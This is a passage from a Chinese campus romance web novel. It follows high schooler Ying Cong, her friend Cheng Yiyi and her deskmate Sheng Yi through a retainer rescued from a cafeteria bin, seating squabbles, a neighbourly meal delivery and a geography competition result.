听到她的话,应琮也有些着急,“那怎么办?”
程依依坐在位置上,痛苦地捂住脸。
不敢睁开眼,希望是她的幻觉……
沉默片刻,做好思想斗争的程依依兀地站起身,似乎是下了某种决心一般,迈着坚定的步伐朝着垃圾桶的方向去了。
应琮赶紧追上去:“你要去垃圾桶里把它捞出来?”
程依依沉痛地点点头。
“可是……”应琮指了指自己的嘴,示意道,“这是要放进嘴里的东西……不好吧?”
“没事。”程依依扯了扯嘴角,既是在解释,又像是在说服自己,“我包得严严实实密不透风,而且宿舍里有酒精,可以消毒。”
反正这个垃圾桶也没有多少垃圾。
就当是给粗心的自己一点惩罚好了。
程依依挽了挽自己根本不需要挽起的短袖,视死如归地走了过去。
趁现在垃圾桶还没有被倒满……
“依依!”应琮拉住她的手,“你先别急,等我一下。”
程依依扭头,发现好朋友的脸上也满是认真。
应琮迅速朝着饭堂管理处跑了过去。
“给——”
很快跑回来的应琮递过来一双橡胶手套,另一只手上拿着两只长长的夹子。
“你……怎么还拿来了这些东西?”
程依依接过手套,声音一哽。
“我们总不能用手直接去掏吧?”应琮认真地看着她,轻快道,“这些是我向食堂阿姨借的,用完洗干净还给他们就好了。”
“你也要跟我一起?”
程依依瞪大眼睛,圆亮的眸子里很快氤氲起水汽。
她知道自己的好朋友家里以前挺有钱的,跟自己比起来简直就是锦衣玉食的大小姐。
“当然了,”应琮已经戴好了手套,“你一个人干,别人会觉得你很奇怪。”
“但如果我们两个人一起干……其他人可能会觉得我们是在做饭堂的志愿活动。”
“哪有专门翻垃圾桶的志愿啊,太蠢了。”程依依破涕为笑。
应琮早就想好了说辞,“比如说我们现在就要帮助饭堂把不属于厨余垃圾的东西清理出来,多么环保,多么无私啊。”
“什么志愿?”
忽地传来一道有些陌生的男声。
应琮和程依依齐齐抬头看去。
“新同桌,”盛逸端
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着自己吃得精光的餐盘走了过来,“你们在这儿忙什么呢?”
“盛逸同学,”即使手上套着艳粉色的塑胶手套,但属于应琮的气势丝毫不弱,她收起脸上的笑容,“少多管闲事。”
“你还记得我的名字?”
听到她对自己的称呼,盛逸莫名有些兴奋,露出笑容。
不用多说,程依依也意识到此人就是好友口中的不太聪明的同桌。
看这火药味,也不知道他们怎么做到相识第一天就如此刀光剑影。
“呃……这位同学。”程依依试图缓和气氛,“我们在做垃圾分类的饭堂志愿,麻烦你放完餐盘就离开好吗?”
“我也想做这个志愿。”
盛逸将手上的餐具放好,双手一叉,也站在垃圾桶旁边。
“你在这儿不走干嘛?”
慢他一步的丁一锐终于走了过来,冷不丁看到了应琮的身影。
这是干嘛呢?
怎么一个个都围在垃圾桶旁边?
行为艺术吗?
“你来得正好,”盛逸拦住他,两个人往饭堂管理处走去,“我们也去借些道具来。”
等完全没搞清楚状况的丁一锐回来时,手上也拿着个长长的夹子。
“要怎么做?”盛逸爽朗道。
“同学……你们可以不用做的。”
见两个人也全副武装好了,程依依有些无奈,嘴上扯着善意的谎言,“因为你们没有报名,所以也没办法给你们加志愿时长。”
在一边的应琮充耳不闻,用长夹在垃圾桶里翻找出雪白的纸团。
“没关系啊,”盛逸拍拍好哥们的后背,“我们就喜欢乐于助人,是吧?”
也不知道他抽什么风,丁一锐只得配合着连连点头。
“啊这……”程依依没辙了,她求助般地看向应琮。
“那边还有一个桶,”有些疲惫的应琮站直身体,将手中的夹子靠在一边,指使道,“你们俩就去翻那个吧。”
“我们需要翻出来什么呢?”盛逸“不耻下问”道。
“纸巾!尤其是里面包着硬物的纸巾!”程依依心直口快道,说完才意识到自己说漏了嘴。
“了解!”
盛逸并没有什么特别的反应,他微微弯腰,真就开始在那个装满剩饭的桶里找了起来。
“不是吧哥?”
丁一锐和他头对着头,小声道,“你真有这么热心肠?”
就算是想要在漂亮女生面前表现,也不用这么努力吧。
很明显对方并不想让他们参与其中啊!
“少说废话,快点找吧。”
盛逸看也不看他。
……
“找到了!”
不知过了多久,在旁边的应琮出声,声音里隐约有些激动。
她小心翼翼地夹着一团纸,还好表面没有什么很明显的污渍。
“真的吗!”程依依最先做出反应,丢下夹子就要去捡。
“你用夹子把它打开。”应琮提醒道。
“哎呀无所谓了,我有手套呢。”
心急的程依依一层层地打开纸巾,里面果然就是自己的保持器。
“太棒了CC,”她激动地轻轻靠在应琮身上,“幸好有你啊。”
应琮也笑笑,嘴上却轻描淡写道,“赶紧去旁边洗干净吧。”
目睹姐妹情深的丁一锐放下手上的夹子,冲着哥们语气略酸:“某些人还真是吃力不讨好。”
盛逸假装没听见,冲着二人爽朗道,“既然任务完成了,那我们俩就先撤了啊。”
说罢,他拿上工具,带着丁一锐,飞快地离开现场。
“我感觉……”
程依依拉拉应琮的书包带,小声道,“你的新同桌,人也不是那么讨厌嘛。”
对此评价,应琮只是回以一个无语的表情。
看人不仅论迹还要论心。
无事献殷勤,谁知道他打什么主意?
5. 第 5 章
这天在宿舍午休后,盛逸特意来得比往常早些。
见班主任已经到班准备看午读了,他趁着两分钟空隙来到讲台边,少见的有些忸怩。
“怎么了?”许文言警惕道。
“关于我座位的事儿……”盛逸故意往旁边伸了伸自己的长腿,“我坐在里面靠窗是不是有点不合适啊,老师?”
许文言往后望了眼,挺好的位置,只是学校教室大小不一致,他们班虽然人不多,但是分到了偏小的教室,大家位置都有点儿挤。
但以前在20班,自己也安排他坐过同样的地方,没有什么问题啊。
“还好吧。”她将眼神重新放回盛逸身上,“你腿脚不方便吗?”
盛逸一噎,本想忍辱负重点头承认算了,余光却正好看见应琮慢悠悠地从后门进来,赶紧又摇了摇头。
“倒也不是这个意思。”他委婉道。
“但是如果我能和她左右换一换的话,那当然再好不过了。”
虽然讲台和后排的距离足够远,但盛逸还是故意偏了偏头,防着新同桌有万分之一读懂唇语的可能。
“左右换一换?”
这点小事还要来找老师的高中生实属罕见,许老师被他带偏,难得抽出十几秒宝贵时间认真思考了这件民生小事。
盛逸正美美期待着,旋即却得到对方毫不留情的拒绝。
“不行,你的背后的位置原本没有人坐。如果和应琮换的话,就会挡到最后一排的杨乐同学。”
换座位并不是一件容易的事情,牵一发而动全身。
见他面露失望,许文言贴心建议道,“或者,你跟杨乐同学换个位?”
反正这俩身高体格都差不多,谁也挡不到谁。
“那算了。”
一听见这话,盛逸反应倒是快,一开学就换同桌,有点太高调了。
何况对方是女孩子脸皮薄,何况是他主动提起的。
“我还是不换了。”
盛逸连忙摆摆手,转身回座位。
反正每隔两周换一次座位,到时候自己就不坐在窗边了。
这点时间,他还是等得起的。
*
还没走近座位,盛逸看见自己的新同桌拿着透明的水杯就往饮水机的位置去了。
看样子像是要去装水。
时机刚刚好,应琮出去了,他得以顺利地进入自己的位置。
刚坐下来,盛逸忽然发现自己原本空无一物的桌面上多了一盒巧克力牛奶。
“呃?同桌?这是你不小心放错的吗?”
见应琮拿着水杯回来,盛逸看向她,眼神示意桌上的牛奶。
他甚至一动都没动。
闻言,应琮飞快地抿了一下唇,将脸转向前面,轻描淡写道:“……中午谢谢你。”
虽然不是很喜欢这个新同桌,但是她也不是个是非不分的人。
这样一来他们也算扯平了。
“给我的?!”
盛逸挑眉,声音仅仅上升几个分贝,就不小心收获了讲台上老师的眼神飞刀。
应琮懒得理他,她翻开桌面上的地理书,龙飞凤舞地写下自己的名字。
“谢谢你的好意,但是不用了。”
也不知道对方是怎么想的,过了一会儿,盛逸又将牛奶推了过来,小声道。
牛奶卡在二人的桌缝中间,像是一条泾渭分明的城墙。
应琮蹙眉,瞥了他一眼。
“干嘛这么看着我?”盛逸回避她的视线,转头去看窗外,“我只是不喜欢巧克力味的。”
“……”
应琮也不强人所难,把牛奶收回,随手扔到桌肚里,嘴里嘟囔一声,“果然是真的狗。”
狗不吃巧克力人尽皆知。
原本清冷的声音因为压低,反倒有几分含糊的可爱。
“你说什么?”
盛逸隐约听到了关键词,灵敏地扭头看她。
“那你喜欢什么味道的?”
应琮当然不可能再把自己的话重复一遍。
但是她也不想欠对方的人情。
无论中午吃饭时,盛逸是出于什么心理,他都出手相助了。
在一定程度上也减少了自己和依依的工作量。
“草莓味的。”
沉默半晌,久到她都快忘记自己说出口的问题是什么了,盛逸才开口道。
应琮有些意外地转头看了他一眼。
没想到对方品味还不算太差。
*
“CC!”
放学时,应琮刚背起书包,便听到一声门外的呼唤。
抬头看去,果然是程依依,笑眯眯地等在后门。
坐在里面的盛逸显然也听到了,他伸了个懒腰,顺势往后门俩亲亲热热的女生看了一眼。
CC……不知道这是同桌小名还是朋友给的昵称。
“你们班怎么今天放学这么早?”
应琮快步走出教室,勾住她的手。
“最后一节课,我们班主任说要用来竞选班委,所以早了几分钟放学。”程依依笑道,“所以我就来找你一起走啦!”
“我们班刚刚也在竞选班委。”
应琮眼带笑意,两个人一起顺着楼梯慢慢往下走。
“你参与了吗?”程依依说。
“当然没有!”应琮的眼眸圆了几分,郑重其事道,“我从来不凑这种热闹。”
像她这种有格调的高中生都是不“参政”的。
“少装了!”程依依撞了一下她的胳膊,“也不知道是谁,高一开学初为了能够和某学霸搭得上话,主动当组长。每天收发各科练习册,忙得脚不点地。”
应琮或许骗得过别人,但绝对骗不了自己。
不小心被好友拆穿,应琮挠了挠脸,赶紧转移话题。
“那你竞选了吗?”
“猜猜本小姐现在是什么官职?”程依依露出官方笑容。
“小的斗胆一猜,”应琮十分配合,“是班长还是委员?”
依稀记得,上学期期末时,依依说过自己想当班长的。
“还真是懂我。”程依依冲她挑挑眉,“我现在是20班的班长噢,一人之下万人之上!”
话音刚落,应琮便捧场地鼓起掌来。
“以后见到你是不是还要行礼了,班长大人?”她揶揄道。
“别人的话,当然要对我毕恭毕敬。”程依依笑得脸上梨涡都漾了起来,“但是你的话,本大人准许你免礼。”
两个人边走边聊,说笑声几乎没停下来过。
“对了,”程依依想多了解些楼下的情报,“你们班的班委都有谁?有我认识的人吗?”
可惜应琮对年级里的人本来就了解不多,隐约只记得班里几个新班委的名字。
“新班长是个叫丁一锐的男生,”她努力回想对方的长相,“长得还行吧,高高瘦瘦的,好像以前就认识我们班主任。”
“哦我知道,他之前就是20班的副班长,”程依依道,“当然认识那个许老师了。”
“那他也算是上位成功了。”应琮冷不丁来一句,旋即又接道,“副班长是
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个女生,好像叫什么……柳飞阳,也蛮高的,看起来是个很热心的人。”
“我好像之前和她打过交道,”听到略有几分熟悉的名字,程依依若有所思,“她应该高一也是学生会的。”
“差点忘记您也是叱咤学生会的一员了。”应琮笑笑,放眼整个年级,几乎就没有依依没听说过的人。
“哼哼。”程依依故意瞥她一眼,“毕竟我不是清高有格调的高中生。”
见以往的话被拿来损自己,应琮笑着推她一下。
现在正值放学高峰,每个人都在叽里呱啦地和身边的人说话,二人自以为聊得小声,却不想身后一直不远不近地跟着一个身影。
听了全程对话的盛逸,想笑不敢笑,紧紧低着头,生怕会被人认出来。
自己并不是故意要跟在她们后面,实在是楼梯上正在走的人太多,还有几个人手拉手形成路障,想超车都没有缝隙。
没想到同桌在班级里一直表现得冷冰冰,但朋友面前却也不是一个话少的人。
还挺有反差的。
他摸摸自己的鼻尖。
楼梯间明明挤得密不透风,但自己莫名闻到一股甜甜的香味,像是橙子的芬芳。
熟悉的深棕色卷发就在自己眼前,随着对方的脚步微微晃动。
盛逸低头一嗅,顿时明白了香味的来源。
*
“哎呀——”
她们刚走出楼梯,在架空层的拐角处,应琮二人被忽然走出来的人撞了个正着。
具体来说,是走在靠外一侧的应琮被撞得最狠。
应琮捂着自己的胳膊,向后踉跄几步才稳住。
“这位同学,你怎么这么着急?”
程依依原本想发作,但看到对方也是个女生,只好忍住怒火。
因为意外发生了碰撞事故,女生原本拿在手上的纸张散落一地。
见状,她马上蹲下身去捡,没有说话。
低垂的刘海挡住了她的眉眼,分辨不清楚是谁。
“诶!”被无视的程依依跺了一下脚,正要开口,一旁的应琮连忙拉了拉她的胳膊。
“算了,”应琮的情绪稳定多了,“也不是故意的。”
说罢,她弯腰帮对方捡起一张飘在自己脚边的纸,递了过去。
“谢谢。”
女生抬头冲她客气地笑了笑,眼角微微下垂,因为皮肤略显苍白,可以清晰看到那里有一枚小小的红痣。
应琮还没来得及开口,对方便拿着手上的东西,转身走上另一个楼梯口。
“真奇怪,”程依依盯着她远去的背影,“我从来没有在学校里见过她。”
“我们学校一个年级都有一千多个人。”刚刚只是意外,应琮没放在心上,“你哪里都见得过来?”
“不,”程依依表情认真,“她之前绝对不是我们学校的。”
应琮刚才被撞的胳膊还余痛未消,见好友注意力全放在了对方身上,不免有些好气又好笑。
“可能人家是在外面集训完回来的高三学姐吧,”她道,“你能不能别胡思乱想了。”
“怎么办……”程依依转头看着她,嘴巴向下一撇,嘴巴连珠炮弹似的自说自话一大段。
“她长得还挺好看的……虽然我只喜欢你的长相,不然也不会给你拉票当校花第一名了。
不过万一别人喜欢她那样的怎么办?你的校花之名万一被她抢走怎么办?!不行,我一定不会让这种事发生!”
这都什么跟什么啊?!
理解无能的应琮忽然好想回家。
6. 第 6 章
“妈妈,你怎么把它带回家了?!”
和好友告别后,一个人回家的应琮刚打开门,便看到一辆肥硕的黄色面包狗直直朝自己冲了过来,吓了一跳。
大胖狗来袭完全可以算得上是一级警告。
面对眼前高速行驶,丝毫不带减速的“面包车”,她靠肌肉记忆做好迎战准备,微微屈膝下蹲,扎了个结结实实的马步。
毛茸茸的大胖狗立刻站起来,将自己浑圆的大脑袋不由分说地塞进她的怀里,跟她亲得很。
“好了好了,”应琮用力在它的头顶揉了一圈,但是大狗太兴奋了,没有停下的意思。
应琮便板起脸训话:“小婷,stop!”
虽然和她家有特殊设定的猫猫不同,小婷只是一只普普通通的金毛犬,但显然也是聪明的能感受到隐藏在话语里的情绪。
狗狗立刻放下自己的前爪,规规矩矩地坐在原地,只是眼睛依然在不安分地滴溜溜乱转。
应琮无奈地将自己的书包放在一边,做好了陪它玩的准备。
此鸡毛被主人起了个貌似人类的名字,有名有姓不说,脾气秉性也格外通人性。
应雨柔将手上端着的炒菜放在桌上,看到一女一狗其乐融融的样子,开口解释。
“因为今天我出门时,刚好遇到了楼下阿姨牵着小婷,”她又拿来另一个碗,放在一边,“因为阿姨临时有事,就拜托我看着它。”
平时工作日的时候,这只狗一般都是由小区楼下开干洗店的阿姨代管,偶尔阿姨没空时,也会让应雨柔帮忙照看一下。
毕竟都是熟人,狗狗也对自己不陌生,所以应雨柔每次都欣然答应。
“那你不看店了?”应琮道,“还是把它也带到店里了?”
自从离婚后,妈妈便在家附近开了一家咖啡店,一方面她有一个当老板的梦想,一方面也算是给自己找点事情做。
应雨柔笑笑,“当然是把小婷也带到店里了,刚好下午兼职生小哥也在,顺便也帮忙看了一下。”
“还真是会麻烦人,”应琮搓着胖狗脖颈上的肉肉,想到了什么,嘴上还不忘抱怨道,“明明裴少言一个人照顾不了它,干嘛非要……”
后面的话,她还没来得及说出口,便被不知从什么时候过来的黑猫狠狠敲了一记后脑勺。
“哎呀!”
毫无防备的应琮捂住自己的脑袋。
黑猫“嗷呜嗷呜”地连声叫了起来,看表情,还有些愤愤不平。
又怎么啦?
还真是护短!
应琮瞪了一眼黑猫,但也不再开口说裴少言的坏话。
“小婷一点都不麻烦人呀。”
不明所以的应雨柔将餐具一一摆好,还顺便给一猫一狗都准备好各自的食物,继续刚才的话题。
见自己的饭来了,池小婷忙不迭地撒开脚丫就往碗的方向跑去。
咪咪跟在它的后面,矜持地迈着猫步。
“狗狗是旺财的,今天多亏了小婷,店里生意都变好了不少,红红火火。”看着狗狗猫猫吃饭的样子,应雨柔一笑。
猫狗共养,不争不抢,实在可爱。
“真的吗?”应琮投去怀疑的目光。
虽然亲妈的咖啡店开了一年有余,但不知是选址出现了问题,还是经营模式不合适,每个月只能勉强维持收支平衡。
只有偶尔承接一下生日应援活动,店里才能勉强来点人气。
这些日子撑下来,店倒是不至于关门大吉,但也绝对称不上生意红火。
“那当然,”应雨柔信誓旦旦,“连兼职生小哥都说,咖啡机好久没那么忙碌了。”
应琮不语,只是钻进厨房洗手。
听到二人的对话,桌旁的黑猫停下干饭的动作,对着大高个金毛小婷叽里咕噜说了一通猫语。
一阵加密通话后,黑猫两颊边的胡须不自然地抖了抖。
应妈妈还真是懂得夸张的艺术。
今天开店一整天,总共就三个单,在她的嘴里却也称得上是生意红火。
更别提其中的两个单,一个是请兼职生喝的,另外一个是送给隔壁花店小妹的。
裴奶奶在咪咪体内无奈地叹了口气,这可不是过日子的办法。
要不是应雨柔手头上还有些积蓄,再加上每个月定时到账的抚养费,恐怕早就无法维持生计了。
黑猫侧过头,注视着围坐在餐桌旁的母女二人,黄铜色的眼眸里隐约有光芒在闪动。
*
“欸,这是什么?”
餐桌上还放着一个保温饭盒,款式看起来似乎从来没在家里见到过。
“噢,”看到饭盒,应雨柔才想起来,“这是给隔壁小裴准备的。”
“什么?!”
听到她的话,应琮吃了一惊,原本夹在筷子上的菜颤巍巍地划过一道优美的弧线,落在碗边。
“干嘛要给他准备菜?”她看向妈妈,“你们有那么熟吗?”
“宝贝怎么这样说话。”应雨柔的语气有些责怪。
他们两家作为邻居,本就应该相互照应。
更别说高一时候两个孩子还是同班同学,甚至于她们母女二人刚搬来时,裴少言也出手帮助过。
应雨柔见女儿低头不说话,又开口道:“我听楼下的阿姨说了,这段时间小裴每天到了晚上才去把小婷接回家。”
“不知道那孩子最近在忙什么,肯定也没有好好吃饭。”
她轻叹一声,眼神又投向吃饱饭后乖乖在沙发旁自己玩玩具的池小婷。
“他?”应琮吭哧几声,嘟哝道,“又忙学习呗。”
裴少言除了学习,还能忙什么?
别人忙着雪月风花,他忙着三角函数。
“等小裴来家里接小婷回去时,你就把这个饭盒给他。”
应雨柔拿起自己的碗后,起身离开饭桌。
“妈——”应琮拖长声音,语气里有几分耍赖,“你自己做的菜,为什么不能你拿给他?”
自己可以和裴少言的狗打交道,但不想和狗主人打交道。
她还没原谅裴少言呢。
“你们是同学啊,见面还可以聊点学校里的事情。”应雨柔摆摆手,“我和你们这些年轻人没什么话题。”
应琮刚想继续推辞,感受到腿边传来毛茸茸的触感,有些刺挠。
低头看去,原来咪咪不知何时蹲坐在自己脚边,浅色的眸子在暗处炯炯有神。
应琮和“咪咪”无声地对视片刻,终于还是缴械投降。
行吧,行吧。
就让她去热脸贴冷屁股吧,谁让自己长得漂亮还善良大度呢?
应琮的眼神落在饭盒上,粉红色的helloKitty图案,在脑中想象了一下裴少言拿着它的样子,莫名笑了一声。
拜托了妈妈,如果要照顾别人的话,至少也考虑得周全一点吧。
买了保温饭盒,但上面还是自己喜欢的图案,这算怎么回事?
*
吃过饭后,应琮盘腿坐在客厅地板上写着数学作业。
不大的桌子上,除了摊开的练习册、笔袋,还有喝水的杯子以及一碟水灵灵的小番茄。
应琮边写边不时往嘴里丢一颗,同时还要小心某只狗狗祟祟的脑袋偷吃。
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“笃笃”
门口传来礼貌的敲门声。
听见声音,应琮立马起身,抓起餐桌上放着的饭盒,又整了整自己耳边散落的头发。
“小婷,走吧。你的主人来接你回去了。”
她眼神示意早已等候多时的池小婷,一人一狗往门口走去。
打开门,裴少言还是和之前一样,穿着规规矩矩的校服,黑色双肩包也好好背在身上。
或许是因为走得有些急了,他的头发微微散乱,脸也有些泛红,倒显得整个人没有那么冰冷。
见到开门的人是她,裴少言似乎有一瞬间的惊讶。
“应琮。”他微微低头,像是在打招呼。
应琮往后退了一步,方便狗狗从门口出去。
“我妈给你留了一些菜,你要是吃了就算了。”
她将饭盒递过去,尽量让语气像什么都没发生过一样自然。
原来是阿姨。
“刚好还没有吃晚饭,麻烦阿姨了。”裴少言接过饭盒,语气真诚。
早就过饭点了,应琮没想到他还真忙成这样,正犹豫着自己该继续说些什么。
可就在她思考的短短几秒,便错过了接话的合适时机。
是不是应该问一下为什么他最近总是那么晚回家?
她悄悄抬眸看着裴少言,对方双手拿着饭盒,礼貌地站在门外,莫名看起来有些拘谨。
就算是上台领奖,也没见过他这副模样。
二人相对而立,一时默默无言,只能听见站在中间的狗狗略粗重的呼吸声。
“哎呀咪咪来了。”
尴尬时,在里面的黑猫甩着尾巴,优雅地走了过来。
应琮连忙蹲下身子,欲盖弥彰地摸了摸猫的后背。
“它是不是胖了些?”
出乎意料的,裴少言也蹲了下来,用寻常口吻道。
“啊,不算胖。”
然而面对这一简单的问题,应琮却表现得不太自然,“可能是因为毛长长了,看起来就圆了些。”
黑猫的尾巴亲昵地在裴少言脖颈处蹭来蹭去,享受着他们之间难得的时光。
“你在6班怎么样?”
裴少言忽然开口道。
“我?”
听到他询问自己的情况,应琮手上的动作一顿,表情变得有些古怪,“还好吧。”
裴少言点点头,半垂着头,凝视着自己脚边的猫猫。
“你这几天很忙?”
应琮恢复自己平时说话的语气,淡淡的,“听说你经常很晚才回家。”
当然,或许是因为遗传的原因,她讲话也不由得夸张了些。
“最近是有些忙。”裴少言避重就轻道。
没有继续解释什么,更没有说自己都呆在哪。
“哦。”
虽然好奇,但应琮也没有追问,她抱着咪咪站起身。
“如果你平时回家时没有在洗衣店门口看到小婷,那它应该就在我家。”她道。
“好的,多谢。”
裴少言注视着她,极轻极快地露出个笑容。
“客气了!”
应琮恰好在那时转身,只有咪咪目睹了这个笑容。
“饭盒是可以直接放在微波炉的,我妈说你加热个五分钟应该就可以了。”
裴少言点了点头,带着狗狗走了。
看着少年离去的背影,不知是有意还是无心,咪咪冷不丁扯了一下应琮的头发。
“你干嘛?”
应琮吃痛,赶紧将它放回到地上。
自己已经有在和裴少言好好说话了好不好!
7. 第 7 章
早上,太阳升起得早,已经初具炎热。
现在早读还没开始,自然没到开空调的时间点,于是应琮一来教室就把自己旁边的窗户推开,打算通通风,透透气。
她坐在位置上,慢悠悠地将书包里的东西拿出来,依稀有清风吹拂,树叶沙沙作响。
“快,同桌让让!”
又是熟悉的横冲直撞的脚步声。
应琮头也不抬,从座位起身给来人让路。
一段时间的相处下来,她觉得这个同桌人也不坏,倒是相处出两分默契。
“谢了啊。”
盛逸灵活地钻进自己的位置,抬头一看黑板顶端挂着的电子钟,脸色一变。
“糟糕糟糕!没时间了。”
他嘴里念叨着,手忙脚乱地把包里的东西都倒出来,在桌面上尽数铺开。
“同桌,”盛逸敲了敲应琮的桌面,叮嘱道,“我的作业都在这里了,你交的时候也顺便帮帮我。”
“你要去哪?”应琮偏头看向他。
距离早读开始只有不到五分钟的时间,能有什么急事?
“我等会儿去走廊外面吃个早餐。”
“哦,教室里不能吃吗?”
此时教室里吃早餐的人也不少。
吃面包的吃面包,喝牛奶的喝牛奶。
还有人靠教室后面的饮水机冲起了速溶咖啡,浓郁的甜香在后排迅速弥散开来、
也正是因为如此,她才一大早开窗通风。
“不行,我这个味道太大。”
他把早餐拿出来,马上又拍了拍应琮的椅背,示意她出去。
塑料泡沫盒子和一大袋褐色酱油,盛逸口味重,还加了辣椒和小菜。
见他急得不行,应琮只好再次起身让位。
好吧,肠粉的确味道很大,不能在教室里吃。
捧着自己心爱的双蛋肉肠,盛逸顾不得周围住宿生们艳羡的目光,一溜烟地就从后门跑了出去。
应琮刚一坐下,又感受到有人在轻轻敲击自己的椅背。
她转身看去,原来是坐在自己后座,交集为零的杨乐同学。
因为班里的人数恰好是单数,所以只有他是单人单桌。
不知是不是自己先入为主的主观印象,应琮总觉得对方有些独来独往。
甚至还带了几分不同寻常的忧郁气质。
“怎么了?”应琮看向他。
杨乐递过去一个粉红色的玩偶,它看上去像熊又像猪,长得蠢笨可爱。
这样一个小娃娃,拿在男生的手里,显得有些格格不入。
应琮下意识地就将其接过,拿在手里。
“……掉到了地上。”
他道,声音有些低。
“什么?”
他的声音太小,应琮没听清楚,便又凑得近了些。
“他想问你,这东西是你掉的吗?”
刚巧丁一锐从后门踩着点进来,正好从杨乐身后走过,随口参与进对话,无比自然。
“啊?”应琮抬头看了一眼丁一锐,又端详奇怪的猪或熊两秒,随即坚定否认道,“这个不是我的。”
想了想,她又补充道:“应该是盛逸的。”
说罢,应琮准备物归原主,将东西放到他自己的桌上。
“噢,”说话间,丁一锐也看清楚了物品的样子,恍然大悟道,“那可能是菲菲送的。”
“菲菲?谁?”
她在脑子里搜寻一圈,他们班似乎没有这号人物吧?
品味还这么怪的。
“呃,”丁一锐表情却突然有些古怪,似乎急于将这个话题敷衍过去,“这个事说来有点复杂,你就当是他的一个妹妹吧。”
妹妹就妹妹,什么叫做“当成”是他的一个妹妹?
突然想起一些初中校园流行的奇怪玩意儿,应琮心里涌起一阵恶寒……
难不成都高中生了,没想到盛逸还在玩“哥哥妹妹”那一套?
亏她这几天,还觉得同桌人还不错。
“盛逸和她关系很好吗?”
应琮难得八卦,便不由自主地打探两句。
“那当然啊,菲菲还挺黏他的。”
热心的丁一锐有问必答,说出口才反应过来不对。
按道理这是盛逸的私事,他是不是不应该乱说啊?
“哎呀,到点要早读了,我该回位了。”
他忽然像剧场人物一样自言自语,在应琮看来多少有点此地无银三百两。
应琮刚要叫住他,结果话还没说完,丁一锐人就已经溜到自己的座位上了。
粘人的妹妹?
应琮瞥了眼站在走廊吃早餐的盛逸。
即使仅仅只有五分钟的时间吃肠粉,他还有空和路过的男同学女同学打招呼,看起来人缘的确挺好的。
她的视线又落到桌面上的粉红玩偶,虽然毛茸茸,却没沾染上什么污渍,一看就是被好好保管的礼物。
应琮不由得轻轻向下扯了扯嘴角。
虽然自己在高一的时候从来没听过这个盛逸,但是似乎看起来还挺……花心的。
有了“妹妹”还和其他女生往来,难道这就是传说中的养鱼高手?
她的心里莫名闪过某只著名的绿色青蛙,以及那著名的五字真言。
**,恶俗啊!
“盛逸,你怎么还没进班早读?”
后门传来班主任的声音。
“现在就进。”
吃完早餐的盛逸嘿嘿一笑,将手上拿着的塑料袋扎好,丢到走廊上的垃圾桶中。
趁着许文言还没有开始发火,他快步往里走去。
应琮貌似专注地看着自己的英语书,只当没发现有人靠近。
“同桌同桌,芝麻开门。”
盛逸拍拍她的椅背,嘴上小声道。
然而应琮并没有起身,只是往前移了移椅子,勉强给他腾出来一个空隙。
挤一挤倒是可以过,就是他不喜欢这种逼仄的感觉。
盛逸还是略有些自己的体面坚持的。
不过,怎么回事?
明显感受到对方态度和刚才相比好像突然又变冷淡了,盛逸不明所以地看看她。
“别的班都已经开始早读了,怎么我们班还有这么多人不在状态?”
许文言站在后门处,话里意有所指,还带了一种山雨欲来的严肃。
课代表和英语老师都已经站在讲台上了,盛逸也不好意思继续杵在过道处当雕塑。
他转向应琮身后坐着的杨乐,自来熟地打着招呼。
“杨乐,能不能把你的桌子稍微往后挪挪?”盛逸伸手示意道。
杨乐没说什么,将自己的桌椅都往后挪了挪。
现在前后腾出来的位置,刚好够盛逸不用挤也能进去。
好不容易坐下来,盛逸瞥了一眼自己的旁边。
应琮单手托着脸,正翻看着英语书,看不出心情好坏。
盛逸转了转手上的笔,清了清嗓子,决定试探一下。
“那个……同桌,有没有纸巾?借我一张擦个嘴。”
应琮翻书的手一顿,似乎停了一秒,才把抽屉里的抽纸放在桌上,没有看他,也不说话。
完了,看来是真的心情不好。
就这么短短一会儿时间,谁又惹到他同桌了?
盛逸抽了一张纸巾擦嘴,鼻尖闻到应琮的纸有一股淡淡的香味。
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明明毫不相干,却让他莫名想到上次不小心闻到的,来自应琮头发的那股香味。
同桌还真是精致生活。
罢了,俗话说女人心海底针,应琮作为普通女人中的大小姐,心思估计比马里亚纳海沟还要深沉,完全称得上是天威难测了。
他把抽纸又恭恭敬敬放回应琮桌上,说:“谢谢同桌,你人真好。”
盛逸决定效仿平时他爸对他妈那样,将应琮当成王母娘娘供起来,凡事不可触其逆鳞,如此同桌关系方得长久。
就是平时他进出不能完全靠同桌心情吧?
盛逸又转身,看了看摆在自己背后那套空桌椅,心里有了个想法。
“你有在读书吗?”
盛逸还在思考,发现英语课代表不知何时已经站在了自己面前,正盯着自己。
“不好意思,现在就读。”
他低头去抽屉中拿英语书,面上勤勤恳恳。
课代表是严格的英语老师的严选大弟子,非要看着盛逸开始读不可。
盛逸只能偷偷去瞄应琮书上的页目,翻到准确的一页后,才让对方放心离去。
他还没来得及舒一口气,却看到应琮似乎往自己桌上瞟了一眼。
盛逸随她目光看去,下一秒赶紧将自己桌上粉得亮眼的玩偶塞进书包里。
也不知道这玩意又是什么时候跑出来的,他不记得自己有装来学校啊!
看他如此自然地将玩偶收起来,应琮像是印证了心中猜测一般,轻轻弯起唇角。
果然。
之前盛逸莫名其妙地要帮她们两个,想来也是平时习惯了吧。
她对这种男生,并没有任何做朋友的意愿。
*
“许老师。”
许文言刚在走班教室上完第一节课,还没回到办公室,就被盛逸在走廊上叫住了。
“有事说事。”许文言直接道,从他旁边走过,推门进入办公室。
她上午的行程已经足足排满了,等下再上一节课后,自己还要去参加课题组的会议,可没有时间和对方闲聊。
“我想说的是,我后面那个桌椅,不是没人坐吗?”盛逸紧跟其后,提建议道,“能不能把它们搬到教室的角落里放着?”
这样一来,自己就可以直接从后面进到座位里。
“放在你后面和放在角落里有什么区别?”许文言反问道。
“老师你这话说的,”盛逸摆摆手,一副为班级着想的模样。
“咱们班不是经常会有一些多出来的书和本子吗?全部摞在讲台上不美观,要是放在那张桌子上,不是显得整整齐齐?”
许文言在心里想了想,说的也有几分道理。
“那你去搬走吧,”说完,她不忘叮嘱道,“搬的时候小心点。”
“得嘞!”盛逸转身就要走。
“等等!”许文言又叫住他。
“怎么了老师?”
“一个好消息。”许文言将放在自己办公桌上的证书和其他资料递过去,“刚刚送到的。”
“恭喜你啊,省赛拿了银奖。可以好好准备国赛了。”
她注视着盛逸,笑得真切。
虽然他平时不着调,但关键时候还是很靠得住的。
自己果然还是有一双辨识千里马的慧眼。
学校一共派了五名地理出色的学生参赛,唯独盛逸拿到了晋级国赛的资格。
许文言全然忘记了自己早上被对方气到的时刻,满心满眼都是对爱徒的赞赏。
原来是自己之前参加的地理竞赛结果出了。
盛逸摸了摸证书上的章,仿佛能感受到刚印上去的温度一般。
